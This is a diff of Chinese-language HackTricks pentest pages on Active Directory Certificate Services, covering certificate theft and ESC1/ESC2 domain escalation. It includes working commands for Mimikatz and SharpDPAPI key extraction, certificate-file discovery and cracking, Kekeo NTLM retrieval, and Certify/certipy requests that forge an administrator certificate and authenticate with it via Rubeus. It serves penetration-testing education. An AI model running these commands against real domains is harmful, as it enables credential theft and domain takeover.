**不幸的是,这种做法从项目开始就存在**。我们一直试图**给予原作者所有的功劳**。如果你发现有页面存在复制粘贴的内容(即使有原始来源的引用),请告诉我们,我们将**删除它**、**保留链接**或**重写它**。 **不幸的是,在项目刚开始时,当这个页面只是一个渗透测试人员的笔记时,可能发生了这种情况**。我们始终尽力**给予原始作者所有的功劳**。如果你发现有复制粘贴内容的页面(即使有原始来源的引用),请告诉我们,我们将**删除它**、**保留链接**或**重写它**。
{% hint style="danger" %} {% hint style="danger" %}
@ -123,9 +123,9 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
## **免责声明** ## **免责声明**
{% hint style="danger" %} {% hint style="danger" %}
本书《HackTricks》仅供教育和信息目的。本书中的内容基于“现状”提供作者和出版商对本书中包含的信息、产品、服务或相关图形的完整性、准确性、可靠性、适用性或可用性不作任何明示或暗示的陈述或保证。您对此类信息的任何依赖均完全由您自己承担风险。 本书《HackTricks》仅供教育和信息目的。本书中的内容基于“现状”提供,作者和出版商对本书中包含的信息、产品、服务或相关图形的完整性、准确性、可靠性、适用性或可用性不作任何明示或暗示的陈述或保证。您对此类信息的任何依赖均完全由您自己承担风险。
作者和出版商在任何情况下均不对任何损失或损害承担责任,包括但不限于间接或后果性的损失或损害,或因使用本书而导致的任何数据或利润损失或损害,或与使用本书有关的任何损失或损害 作者和出版商在任何情况下均不对任何损失或损害承担责任,包括但不限于间接或后果性的损失或损害,或因使用本书而导致的任何数据或利润损失或损害。
此外,本书中描述的技术和提示仅供教育和信息目的,不应用于任何非法或恶意活动。作者和出版商不赞成或支持任何非法或不道德的活动,任何使用本书中包含的信息均由用户自行承担风险和决定。 此外,本书中描述的技术和提示仅供教育和信息目的,不应用于任何非法或恶意活动。作者和出版商不赞成或支持任何非法或不道德的活动,任何使用本书中包含的信息均由用户自行承担风险和决定。
@ -136,7 +136,7 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式

View file

@ -1,22 +1,25 @@
# AD CS 证书 # AD CS 证书窃
<details> <details>
<summary><strong>从零到英雄学习 AWS 黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式: 支持 HackTricks 的其他方式:
* 如果您希望在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF 版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 **关注**[**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** 上**关注我。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 * 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>
**这是来自 [https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf) 的精彩研究的简要总结**
## 我可以用证书做什么 ## 我可以用证书做什么
在检查如何窃取证书之前,这里有一些信息可以帮助您了解证书有什么用途: 查看如何窃取证书之前,您可以了解一些关于证书用途的信息
```powershell ```powershell
# Powershell # Powershell
$CertPath = "C:\path\to\cert.pfx" $CertPath = "C:\path\to\cert.pfx"
@ -28,96 +31,102 @@ $Cert.EnhancedKeyUsageList
# cmd # cmd
certutil.exe -dump -v cert.pfx certutil.exe -dump -v cert.pfx
``` ```
## 使用 Crypto APIs 导出证书 THEFT1 ## 使用加密API导出证书 THEFT1
通过**交互式桌面会话**提取用户或机器证书和私钥是最简单的方法。如果**私钥**是**可导出的**,可以在 `certmgr.msc` 中右键点击证书,然后选择 `All Tasks → Export`… 来导出一个密码保护的 .pfx 文件。\ 在**交互式桌面会话**中,提取用户或机器证书以及私钥,特别是如果**私钥是可导出的**,可以很容易地完成。这可以通过导航到`certmgr.msc`中的证书,右键单击它,然后选择`所有任务 → 导出`来生成一个受密码保护的 .pfx 文件来实现。
这也可以通过**编程方式**完成。示例包括 PowerShell 的 `ExportPfxCertificate` cmdlet 或 [TheWover 的 CertStealer C# 项目](https://github.com/TheWover/CertStealer)。
这些方法底层使用 **Microsoft CryptoAPI**CAPI或更现代的 Cryptography API: Next Generation (CNG) 与证书存储进行交互。这些 APIs 执行各种加密服务,这些服务对于证书存储和认证(以及其他用途)是必需的 对于**编程方法**可以使用PowerShell的`ExportPfxCertificate` cmdlet或类似[TheWover的CertStealer C#项目](https://github.com/TheWover/CertStealer)的工具。这些工具利用**Microsoft CryptoAPI** (CAPI) 或 Cryptography API: Next Generation (CNG) 与证书存储交互。这些API提供一系列加密服务包括证书存储和身份验证所需的服务
如果私钥是不可导出的CAPI 和 CNG 将不允许提取不可导出的证书。**Mimikatz 的** `crypto::capi``crypto::cng` 命令可以修补 CAPI 和 CNG 以**允许导出**私钥。`crypto::capi` **修补**当前进程中的 **CAPI**,而 `crypto::cng` 需要**修补** **lsass.exe 的**内存 然而如果私钥被设置为不可导出CAPI和CNG通常会阻止提取这样的证书。为了绕过这个限制可以使用像**Mimikatz**这样的工具。Mimikatz提供了`crypto::capi`和`crypto::cng`命令来修补相应的API允许导出私钥。具体来说`crypto::capi`修补了当前进程中的CAPI而`crypto::cng`则针对**lsass.exe**的内存进行修补
## 通过 DPAPI 进行用户证书盗窃 THEFT2 ## 通过DPAPI窃取用户证书 THEFT2
有关 DPAPI 的更多信息,请参见 有关DPAPI的更多信息
{% content-ref url="../../windows-local-privilege-escalation/dpapi-extracting-passwords.md" %} {% content-ref url="../../windows-local-privilege-escalation/dpapi-extracting-passwords.md" %}
[dpapi-extracting-passwords.md](../../windows-local-privilege-escalation/dpapi-extracting-passwords.md) [dpapi-extracting-passwords.md](../../windows-local-privilege-escalation/dpapi-extracting-passwords.md)
{% endcontent-ref %} {% endcontent-ref %}
Windows **使用 DPAPI 存储证书私钥**。Microsoft 区分了用户和机器私钥的存储位置。当手动解密加密的 DPAPI 数据块时,开发者需要了解操作系统使用了哪种加密 API因为两种 API 的私钥文件结构不同。使用 SharpDPAPI 时,它会自动处理这些文件格式的差异。&#x20; 在Windows中**证书私钥受DPAPI保护**。重要的是要认识到**用户和机器私钥的存储位置**是不同的文件结构取决于操作系统所使用的加密API。**SharpDPAPI**是一个工具可以在解密DPAPI blobs时自动处理这些差异。
Windows 最**常见的用户证书存储位置**是在注册表的 `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates`,尽管一些用户的个人证书**也**存储在 `%APPDATA%\Microsoft\SystemCertificates\My\Certificates`。关联的用户**私钥位置**主要在 `%APPDATA%\Microsoft\Crypto\RSA\User SID\`(对于 **CAPI** 密钥)和 `%APPDATA%\Microsoft\Crypto\Keys\`(对于 **CNG** 密钥) **用户证书**主要存储在注册表中的`HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates`下,但有些证书也可以在目录`%APPDATA%\Microsoft\SystemCertificates\My\Certificates`中找到。这些证书的**私钥**通常存储在`%APPDATA%\Microsoft\Crypto\RSA\User SID\`中的**CAPI**密钥和`%APPDATA%\Microsoft\Crypto\Keys\`中的**CNG**密钥
获取证书及其关联的私钥,需要 **提取证书及其关联的私钥**,该过程涉及
1. 确定**想要从用户的证书存储中盗取哪个证书**并提取密钥存储名称。 1. 从用户存储中**选择目标证书**并检索其密钥存储名称。
2. 找到解密关联私钥所需的**DPAPI 主密钥** 2. **定位所需的DPAPI主密钥**以解密相应的私钥
3. 获取明文 DPAPI 主密钥并使用它来**解密私钥**。 3. 通过使用明文DPAPI主密钥来**解密私钥**。
要**获取明文 DPAPI 主密钥** 要**获取明文DPAPI主密钥**,可以使用以下方法
```bash ```bash
# With mimikatz # With mimikatz, when running in the user's context
## Running in a process in the users context
dpapi::masterkey /in:"C:\PATH\TO\KEY" /rpc dpapi::masterkey /in:"C:\PATH\TO\KEY" /rpc
# with mimikatz # With mimikatz, if the user's password is known
## knowing the users password
dpapi::masterkey /in:"C:\PATH\TO\KEY" /sid:accountSid /password:PASS dpapi::masterkey /in:"C:\PATH\TO\KEY" /sid:accountSid /password:PASS
``` ```
为了简化主密钥文件和私钥文件的解密,可以使用 [**SharpDPAPIs**](https://github.com/GhostPack/SharpDPAPI) 的 `certificates` 命令,并结合 `/pvk`、`/mkfile`、`/password` 或 `{GUID}:KEY` 参数来解密私钥和相关证书,输出一个 `.pem` 文本文件。 为了简化主密钥文件和私钥文件的解密过程,来自[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI)的`certificates`命令非常有用。它接受`/pvk`、`/mkfile`、`/password`或`{GUID}:KEY`作为参数来解密私钥和关联证书,随后生成一个`.pem`文件。
```bash ```bash
# Decrypting using SharpDPAPI
SharpDPAPI.exe certificates /mkfile:C:\temp\mkeys.txt SharpDPAPI.exe certificates /mkfile:C:\temp\mkeys.txt
# Transfor .pem to .pfx # Converting .pem to .pfx
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
``` ```
## 通过 DPAPI 窃取机器证书 THEFT3 ## 通过DPAPI窃取机器证书 - THEFT3
Windows 在注册表键 `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` 中存储机器证书,并根据账户在几个不同的位置存储私钥。\ Windows在注册表中存储的机器证书位于 `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates`,相关的私钥位于 `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys`对于CAPI`%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys`对于CNG这些证书使用机器的DPAPI主密钥进行加密。这些密钥无法使用域的DPAPI备份密钥解密而是需要使用只有SYSTEM用户可以访问的 **DPAPI_SYSTEM LSA secret**
虽然 SharpDPAPI 会搜索所有这些位置,但最有趣的结果往往来自 `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys`CAPI`%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys`CNG。这些**私钥**与**机器证书**存储相关联Windows 使用**机器的 DPAPI 主密钥**对其加密。\
不能使用域的 DPAPI 备份密钥解密这些密钥,而**必须**使用系统上的**DPAPI\_SYSTEM LSA 秘密**,该秘密**只能由 SYSTEM 用户访问**。&#x20;
您可以手动使用 **Mimikatz****`lsadump::secrets`** 命令,然后使用提取的密钥来**解密机器主密钥**。 \ 可以通过在 **Mimikatz** 中执行 `lsadump::secrets` 命令来手动解密提取DPAPI_SYSTEM LSA secret然后使用该密钥解密机器主密钥。另外也可以在修补CAPI/CNG后使用Mimikatz的 `crypto::certificates /export /systemstore:LOCAL_MACHINE` 命令。
您也可以像之前一样修补 CAPI/CNG并使用 **Mimikatz**`crypto::certificates /export /systemstore:LOCAL_MACHINE` 命令。 \
**SharpDPAPI** 的 certificates 命令加上 **`/machine`** 标志(在提升权限时)将自动**提升**为**SYSTEM****转储** **DPAPI\_SYSTEM** LSA 秘密,使用它来**解密**找到的机器 DPAPI 主密钥,并使用密钥明文作为查找表来解密任何机器证书私钥。
## 查找证书文件 THEFT4 **SharpDPAPI** 提供了更自动化的方法,其 certificates 命令。当使用 `/machine` 标志并具有提升的权限时它会升级到SYSTEM转储DPAPI_SYSTEM LSA secret使用它来解密机器DPAPI主密钥然后使用这些明文密钥作为查找表来解密任何机器证书私钥。
有时**证书就在文件系统中**,比如在文件共享或下载文件夹中。\
我们见过的最常见的 Windows-focused 证书文件类型是 **`.pfx`** 和 **`.p12`** 文件,**`.pkcs12`** 和 ** `.pem` ** 有时也会出现,但不太常见。\
其他有趣的与证书相关的文件扩展名包括:**`.key`**_私钥_**`.crt/.cer`**_仅证书_**`.csr`**_证书签名请求不包含证书或私钥_**`.jks/.keystore/.keys`**_Java 密钥库。可能包含 Java 应用程序使用的证书 + 私钥_
要找到这些文件,只需使用 powershell 或 cmd 搜索这些扩展名。 ## 查找证书文件 - THEFT4
如果您找到一个**PKCS#12**证书文件,并且它是**密码保护**的,您可以使用 [pfx2john.py](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john\_8py\_source.html) 提取哈希并使用 JohnTheRipper **破解**它。 有时证书直接存储在文件系统中例如在文件共享或下载文件夹中。针对Windows环境最常见的证书文件类型是 `.pfx``.p12` 文件。尽管不太常见,但扩展名为 `.pkcs12``.pem` 的文件也会出现。其他值得注意的与证书相关的文件扩展名包括:
- `.key` 用于私钥,
- `.crt`/`.cer` 仅用于证书,
- `.csr` 用于证书签名请求,不包含证书或私钥,
- `.jks`/`.keystore`/`.keys` 用于Java密钥库可能包含Java应用程序使用的证书和私钥。
## 通过 PKINIT 窃取 NTLM 凭据 THEFT5 可以使用PowerShell或命令提示符搜索这些文件查找上述扩展名。
> 为了**支持 NTLM 身份验证** \[MS-NLMP],对于不**支持 Kerberos** 身份验证的网络服务连接的应用程序,当使用 PKCA 时KDC 在特权属性证书PAC**`PAC_CREDENTIAL_INFO`** 缓冲区中返回**用户的 NTLM**单向函数OWF 如果找到受密码保护的PKCS#12证书文件并且想要提取哈希值可以使用 `pfx2john.py`,可在 [fossies.org](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john_8py_source.html) 上找到。随后可以使用JohnTheRipper尝试破解密码。
```powershell
# Example command to search for certificate files in PowerShell
Get-ChildItem -Recurse -Path C:\Users\ -Include *.pfx, *.p12, *.pkcs12, *.pem, *.key, *.crt, *.cer, *.csr, *.jks, *.keystore, *.keys
因此,如果账户通过 PKINIT 认证并获得**TGT**,则有一个内置的“故障安全”允许当前主机**从 TGT 获取我们的 NTLM 哈希**以支持传统认证。这涉及**解密**一个**`PAC_CREDENTIAL_DATA`** **结构**,它是 NTLM 明文的网络数据表示NDR序列化表示。 # Example command to use pfx2john.py for extracting a hash from a PKCS#12 file
pfx2john.py certificate.pfx > hash.txt
可以使用 [**Kekeo**](https://github.com/gentilkiwi/kekeo) 请求带有此信息的 TGT 并检索用户的 NTML。 # Command to crack the hash with JohnTheRipper
```bash john --wordlist=passwords.txt hash.txt
tgt::pac /caname:thename-DC-CA /subject:harmj0y /castore:current_user /domain:domain.local
``` ```
Kekeo的实现也适用于当前插入的智能卡保护证书如果你能[**恢复密码**](https://github.com/CCob/PinSwipe)**。** 它也将在 [**Rubeus**](https://github.com/GhostPack/Rubeus) 中得到支持。 ## 通过PKINIT进行NTLM凭证窃取 - THEFT5
## 参考资料 提供的内容解释了通过PKINIT进行NTLM凭证窃取的方法特别是通过标记为THEFT5的窃取方法。以下是被动语态的重新解释其中适用时对内容进行了匿名化和总结
* 所有信息取自 [https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf) 为了支持不支持Kerberos身份验证的应用程序的NTLM身份验证[MS-NLMP]KDC被设计为在特权属性证书PAC中返回用户的NTLM单向函数OWF特别是在使用PKCA时的`PAC_CREDENTIAL_INFO`缓冲区中。因此如果一个帐户通过PKINIT进行身份验证并获得票据授予票据TGT则会自动提供一种机制使当前主机能够从TGT中提取NTLM哈希以支持传统的身份验证协议。该过程涉及解密`PAC_CREDENTIAL_DATA`结构这实质上是NTLM明文的NDR序列化描述。
提到了名为**Kekeo**的实用工具,可在[https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo)获取包含此特定数据的TGT从而方便检索用户的NTLM。用于此目的的命令如下
```bash
tgt::pac /caname:generic-DC-CA /subject:genericUser /castore:current_user /domain:domain.local
```
此外值得注意的是Kekeo可以处理受智能卡保护的证书只要可以检索到PIN码参考[https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe)。相同的功能也被指出由**Rubeus**支持,可在[https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus)找到。
这段说明概括了通过PKINIT进行NTLM凭据窃取的过程和工具重点是通过使用PKINIT获得的TGT检索NTLM哈希并促进此过程的实用工具。
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果你想在 **HackTricks** 中看到你的**公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列 * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享你的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -1,160 +1,167 @@
# AD CS 域提升 # AD CS域提升
<details> <details>
<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式: 支持HackTricks的其他方式
* 如果您想**HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord **](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
**这是帖子的摘要:**
* [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf)
* [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
* [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy)
## 配置错误的证书模板 - ESC1 ## 配置错误的证书模板 - ESC1
### 解释 ### 解释
* **企业 CA** 授予**低权限用户注册权** ### 解释配置错误的证书模板 - ESC1
* **禁用了管理者审批**
* **不需要授权签名** * **企业CA授予低特权用户注册权限。**
* 过于宽松的**证书模板**安全描述符**授予低权限用户证书注册权** * **不需要经理批准。**
* **证书模板定义了启用认证的 EKUs** * **不需要授权人员的签名。**
* _客户端认证 (OID 1.3.6.1.5.5.7.3.2), PKINIT 客户端认证 (1.3.6.1.5.2.3.4), 智能卡登录 (OID 1.3.6.1.4.1.311.20.2.2), 任何用途 (OID 2.5.29.37.0), 或无 EKU (SubCA)._ * **证书模板上的安全描述符过于宽松,允许低特权用户获取注册权限。**
* **证书模板允许请求者在 CSR 中指定 subjectAltName** * **证书模板配置为定义促进身份验证的EKU**
* 如果存在,**AD** 将使用证书的 **subjectAltName** (SAN) 字段中指定的身份。因此,如果请求者可以在 CSR 中指定 SAN请求者可以**以任何人的身份请求证书**(例如,域管理员用户)。证书模板的 AD 对象在其 **`mspki-certificate-name-`**`flag` 属性中**指定**请求者**是否可以指定 SAN**。`mspki-certificate-name-flag` 属性是一个**位掩码**,如果存在 **`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`** 标志,**请求者可以指定 SAN。** * 包括扩展密钥用途EKU标识符如客户端身份验证OID 1.3.6.1.5.5.7.3.2、PKINIT客户端身份验证1.3.6.1.5.2.3.4、智能卡登录OID 1.3.6.1.4.1.311.20.2.2、任何目的OID 2.5.29.37.0或无EKU子CA
* **请求者可以在证书签名请求CSR中包含subjectAltName的能力由模板允许**
* 如果存在Active DirectoryAD会优先使用证书中的主体备用名称SAN进行身份验证。这意味着通过在CSR中指定SAN可以请求证书以冒充任何用户例如域管理员。请求者是否可以指定SAN在证书模板的AD对象中通过`mspki-certificate-name-flag`属性指示。此属性是一个位掩码,`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`标志的存在允许请求者指定SAN。
{% hint style="danger" %} {% hint style="danger" %}
这些设置允许**低权限用户请求具有任意 SAN 的证书**,允许低权限用户通过 Kerberos 或 SChannel 以域中任何主体的身份进行认证。 所述配置允许低特权用户请求具有任意选择的SAN的证书从而通过Kerberos或SChannel进行任何域主体的身份验证。
{% endhint %} {% endhint %}
例如,为了允许产品或部署服务即时生成 HTTPS 证书或主机证书,通常会启用此选项。或者是因为缺乏知识 有时启用此功能以支持产品或部署服务的即时生成HTTPS或主机证书或由于缺乏理解
请注意,当创建具有此最后选项的证书时会出现**警告**,但如果复制具有此配置的**证书模板**(如启用了 `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT``WebServer` 模板),则不会出现警告(然后管理员可能会添加一个认证 OID 值得注意的是,创建具有此选项的证书会触发警告,当复制现有证书模板(例如具有启用`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`的`WebServer`模板然后修改以包含身份验证OID时情况并非如此
### 滥用 ### 滥用
要**找易受攻击的证书模板**,您可以运行: 要**找易受攻击的证书模板**,您可以运行:
```bash ```bash
Certify.exe find /vulnerable Certify.exe find /vulnerable
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128 certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
``` ```
要**滥用此漏洞以冒充管理员**,可以运行: 要**利用此漏洞冒充管理员**,可以运行:
```bash ```bash
Certify.exe request /ca:dc.theshire.local-DC-CA /template:VulnTemplate /altname:localadmin Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local' certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'
``` ```
然后,您可以将生成的**证书转换为`.pfx`**格式,并使用它来**使用Rubeus或certipy再次进行认证** 然后,您可以将生成的**证书转换为`.pfx`**格式,并再次使用它来**使用Rubeus或certipy进行身份验证**
```bash ```bash
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100 certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
``` ```
Windows 二进制文件 "Certreq.exe" 和 "Certutil.exe" 可以被滥用来生成 PFXhttps://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee Windows二进制文件"Certreq.exe"和"Certutil.exe"可用于生成PFXhttps://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
此外,以下 LDAP 查询在针对 AD 林的配置架构运行时,可以用来**枚举**不需要批准/签名的**证书模板**,这些模板具有**客户端认证或智能卡登录 EKU**,并启用了 **`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`** 标志: 可以通过运行以下LDAP查询来枚举AD Forest配置模式中的证书模板特别是那些不需要批准或签名具有客户端身份验证或智能卡登录EKU并启用了`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`标志。
``` ```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1)) (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
``` ```
## 配置错误的证书模板 - ESC2 ## 错误配置的证书模板 - ESC2
### 说明
第二种滥用场景是第一种的变体:
1. 企业CA授予低权限用户注册权。
2. 禁用了管理者审批。
3. 不需要授权签名。
4. 过于宽松的证书模板安全描述符授予低权限用户证书注册权。
5. **证书模板定义了任何用途的EKU或没有EKU。**
**任何用途的EKU**允许攻击者获取用于**任何目的**的**证书**,如客户端认证、服务器认证、代码签名等。可以使用与**ESC3**相同的**技术**来滥用这一点。
**没有EKUs的证书** —— 一个下级CA证书 —— 也可以被滥用于**任何目的**,但也**可以用来签署新证书**。因此使用下级CA证书攻击者可以在新证书中**指定任意EKUs或字段**。
然而,如果**下级CA不被**`NTAuthCertificates`**对象信任**(默认情况下不会),攻击者**无法创建**用于**域认证**的新证书。尽管如此,攻击者仍然可以创建带有**任何EKU**和任意证书值的**新证书**,攻击者可能潜在地**滥用**这些证书例如代码签名、服务器认证等这对网络中的其他应用程序如SAML、AD FS或IPSec可能有很大的影响。
以下LDAP查询在针对AD林的配置模式运行时可以用来枚举匹配此场景的模板
```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
```
## 错误配置的注册代理模板 - ESC3
### 解释 ### 解释
